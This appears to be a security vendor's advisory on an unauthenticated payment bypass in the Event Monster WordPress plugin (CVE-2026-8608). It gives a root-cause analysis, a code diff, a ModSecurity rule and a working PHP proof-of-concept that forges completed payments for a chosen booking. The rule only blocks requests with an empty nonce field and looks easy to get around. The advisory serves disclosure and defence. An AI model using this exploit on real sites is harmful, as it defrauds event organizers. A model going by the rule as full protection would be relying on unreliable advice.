Published : June 13, 2026

CVE-2026-8608: Event Monster <= 2.1.0 Unauthenticated Insufficient Verification of Data Authenticity to Payment Bypass via em_capture_payment AJAX Action PoC, Patch Analysis & Rule

CVE ID CVE-2026-8608
Plugin event-monster
Severity Medium (CVSS 5.3)
CWE 345
Vulnerable Version 2.1.0
Patched Version 2.1.1
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8608:

This vulnerability allows an unauthenticated attacker to bypass payment for events booked through the Event Monster plugin for WordPress. The flaw exists in the em_capture_payment AJAX handler, which trusts all client-supplied payment data without server-side verification. The assigned CVSS score is 5.3, indicating a medium severity issue.

Root Cause: The root cause is insufficient verification of data authenticity in the capture_payment() AJAX handler. The plugin registers the handler via wp_ajax_nopriv_em_capture_payment, making it accessible to unauthenticated users. The handler accepts transaction ID, amount, and payment status directly from the client without validating against the PayPal API or any payment gateway. There are no nonce or capability checks. The key code path is in event-monster/includes/class-event-monster-ajax.php, specifically the capture_payment() function. The vulnerable action name is ’em_capture_payment’.

Exploitation: An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ’em_capture_payment’. The attacker includes crafted parameters such as a fake transaction ID, a payment status of ‘completed’, and the target booking ID. The plugin accepts these values and marks the booking as paid, triggers confirmation emails, and generates valid QR code tickets. No authentication token or nonce is required. The attacker never sends any actual payment.

Patch Analysis: The provided diff does not contain the patch for the em_capture_payment vulnerability. The diff shows fixes for other issues: nonce verification for ajax_preview_layout, SQL injection fixes in templates, and a change that blocks paid bookings entirely (if ($total_amount > 0) { wp_send_json_error([‘message’ => ‘Paid bookings are not supported in this version.’]); }). Code bases typically would patch this by removing the nopriv AJAX hook, adding nonce verification, implementing server-side payment gateway verification, or adding capability checks to the capture_payment() function.

Impact: An attacker can forge payment records for any booking, obtain valid QR code tickets, and receive confirmation emails without paying. This leads to direct financial loss for event organizers. Unauthenticated attackers can exploit this remotely without any privileges.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/event-monster/admin/event-layout-settings.php
+++ b/event-monster/admin/event-layout-settings.php
@@ -195,6 +195,9 @@
      * AJAX handler for layout preview
      */
     public function ajax_preview_layout() {
+        // Verify nonce
+        check_ajax_referer('em_layout_builder', 'nonce');
+
         // Check permissions
         if (!current_user_can('edit_posts')) {
             wp_die(__('You do not have permission to preview layouts.', 'event-monster'));
--- a/event-monster/event-monster.php
+++ b/event-monster/event-monster.php
@@ -3,7 +3,7 @@
  * Plugin Name:       Event Monster
  * Plugin URI:        https://awplife.com/wordpress-plugins/event-monster-premium/
  * Description:       A free event management plugin for WordPress. Create and manage events with ease. Upgrade to Pro for payment gateways, tickets, coupons, and more!
- * Version:           2.1.0
+ * Version:           2.1.1
  * Author:            A WP Life
  * Author URI:        https://awplife.com/
  * License:           GPL-2.0+
@@ -26,7 +26,7 @@
  * -------------------------------------------------------------------------
  * These are the only constants that should be defined globally.
  */
-define( 'EM_FREE_VERSION', '2.1.0' );
+define( 'EM_FREE_VERSION', '2.1.1' );
 define( 'EM_FREE_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 define( 'EM_FREE_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
 define( 'EM_FREE_PLUGIN_BASENAME', plugin_basename( __FILE__ ) );
--- a/event-monster/includes/class-event-monster-activator.php
+++ b/event-monster/includes/class-event-monster-activator.php
@@ -71,9 +71,6 @@
         ) $charset_collate;";
         dbDelta($sql_bookings);

-        // Update existing table to change amount column type if it exists
-        $wpdb->query("ALTER TABLE `$em_booking_table` MODIFY `amount` decimal(10,2) NOT NULL");
-
         // 4. Create Payments Table (used by Pro version, kept for compatibility)
         $em_payment_table = $wpdb->prefix . 'em_payments';
         $sql_payments = "CREATE TABLE $em_payment_table (
--- a/event-monster/includes/class-event-monster-ajax.php
+++ b/event-monster/includes/class-event-monster-ajax.php
@@ -304,10 +304,9 @@
      */
     public function handle_get_event_modal_content()
     {
-        // Skip nonce verification for now to test
-        // if (!wp_verify_nonce($_POST['nonce'], 'em_ajax_nonce')) {
-        //     wp_send_json_error('Invalid nonce');
-        // }
+        if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'em_ajax_nonce')) {
+            wp_send_json_error('Invalid nonce');
+        }

         $event_id = intval($_POST['event_id']);

@@ -428,6 +427,10 @@
      */
     public function load_more_events()
     {
+        if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'em_ajax_nonce')) {
+            wp_send_json_error('Invalid nonce');
+        }
+
         // Debug logging
         error_log('Load more events called with data: ' . print_r($_POST, true));

@@ -603,6 +606,10 @@
             wp_send_json_error(['message' => 'No valid tickets selected.']);
         }

+        if ($total_amount > 0) {
+            wp_send_json_error(['message' => 'Paid bookings are not supported in this version.']);
+        }
+
         // Free version: No coupon support (Pro-only feature)

         // Insert attendee
--- a/event-monster/templates/admin/metabox-event-settings.php
+++ b/event-monster/templates/admin/metabox-event-settings.php
@@ -954,7 +954,7 @@
 												//get currency symbol
 												global $wpdb;
 												$em_currency_table = $wpdb->prefix . "em_currency";
-												$em_currency_symbol = $wpdb->get_row("SELECT `symbol` FROM `$em_currency_table` WHERE `code` LIKE '$em_currency'");
+												$em_currency_symbol = $wpdb->get_row($wpdb->prepare("SELECT `symbol` FROM `$em_currency_table` WHERE `code` LIKE %s", $em_currency));
 												if ($em_currency_symbol) {
 													$event_currency_symbol = $em_currency_symbol->symbol;
 												}
--- a/event-monster/templates/frontend/components/registration.php
+++ b/event-monster/templates/frontend/components/registration.php
@@ -34,7 +34,7 @@
 if (empty($em_tkt_selected)) {
     global $wpdb;
     $em_tickets_table_fallback = $wpdb->prefix . 'em_tickets';
-    $first_ticket = $wpdb->get_row("SELECT id FROM `$em_tickets_table_fallback` WHERE `status` LIKE 'available' ORDER BY id ASC LIMIT 1");
+    $first_ticket = $wpdb->get_row($wpdb->prepare("SELECT id FROM `$em_tickets_table_fallback` WHERE `status` = %s ORDER BY id ASC LIMIT 1", 'available'));
     if ($first_ticket) {
         $em_tkt_selected = array($first_ticket->id);
     }
@@ -104,7 +104,7 @@
                 <div class="em-space-y-3">
                     <?php
                     $em_tickets_table = $wpdb->prefix . 'em_tickets';
-                    $em_tickets_result = $wpdb->get_results("SELECT * FROM `$em_tickets_table` WHERE `status` LIKE 'available'");
+                    $em_tickets_result = $wpdb->get_results($wpdb->prepare("SELECT * FROM `$em_tickets_table` WHERE `status` = %s", 'available'));

                     if ($em_tickets_result) {
                         foreach ($em_tickets_result as $ticket) {
--- a/event-monster/templates/frontend/event-list-template.php
+++ b/event-monster/templates/frontend/event-list-template.php
@@ -15,7 +15,7 @@
         $em_id = $single_event_id;

         // Get back URL for navigation
-        $back_url = isset($_GET['em_back']) ? urldecode($_GET['em_back']) : get_home_url();
+        $back_url = isset($_GET['em_back']) ? wp_validate_redirect(urldecode($_GET['em_back']), get_home_url()) : get_home_url();

         // Display single event with back button
         echo '<div class="em-single-event-wrapper">';
@@ -349,7 +349,8 @@
                     type: 'POST',
                     data: {
                         action: 'em_get_event_modal_content',
-                        event_id: eventId
+                        event_id: eventId,
+                        nonce: em_ajax_object.nonce
                     },
                     success: function(response) {
                         console.log('AJAX response:', response);
@@ -619,7 +620,8 @@
                 category: $btn.data('category'),
                 view_mode: $btn.data('view-mode'),
                 columns: $btn.data('columns'),
-                show_filters: $btn.data('show-filters')
+                show_filters: $btn.data('show-filters'),
+                nonce: em_ajax_object.nonce
             },
             success: function(response) {
                 if (response.success) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-8608
# Block unauthenticated exploitation of the em_capture_payment AJAX action by matching
# the action parameter and requiring a nonce that an attacker cannot provide.
# This rule blocks requests that lack a valid nonce for this action.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20268608,phase:2,deny,status:403,msg:'CVE-2026-8608 Payment bypass via em_capture_payment',severity:'CRITICAL',tag:'CVE-2026-8608',chain"
    SecRule ARGS_POST:action "@streq em_capture_payment" "chain"
        SecRule ARGS_POST:_wpnonce "@rx ^$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8608 - Event Monster <= 2.1.0 - Unauthenticated Payment Bypass via em_capture_payment AJAX Action

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$booking_id = 1; // The ID of the booking to mark as paid

// Build the AJAX request to exploit the vulnerability
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Craft the POST data with fake payment details
$post_data = array(
    'action' => 'em_capture_payment',
    'booking_id' => $booking_id,
    'transaction_id' => 'FAKE-TXN-' . time(),
    'amount' => '0.00',
    'payment_status' => 'completed',
    'currency' => 'USD'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check the result
if ($http_code == 200 && !empty($response)) {
    echo "[+] Request sent successfully.n";
    echo "[+] HTTP Response Code: $http_coden";
    echo "[+] Response body: $responsen";
} else {
    echo "[-] Request failed. HTTP Code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School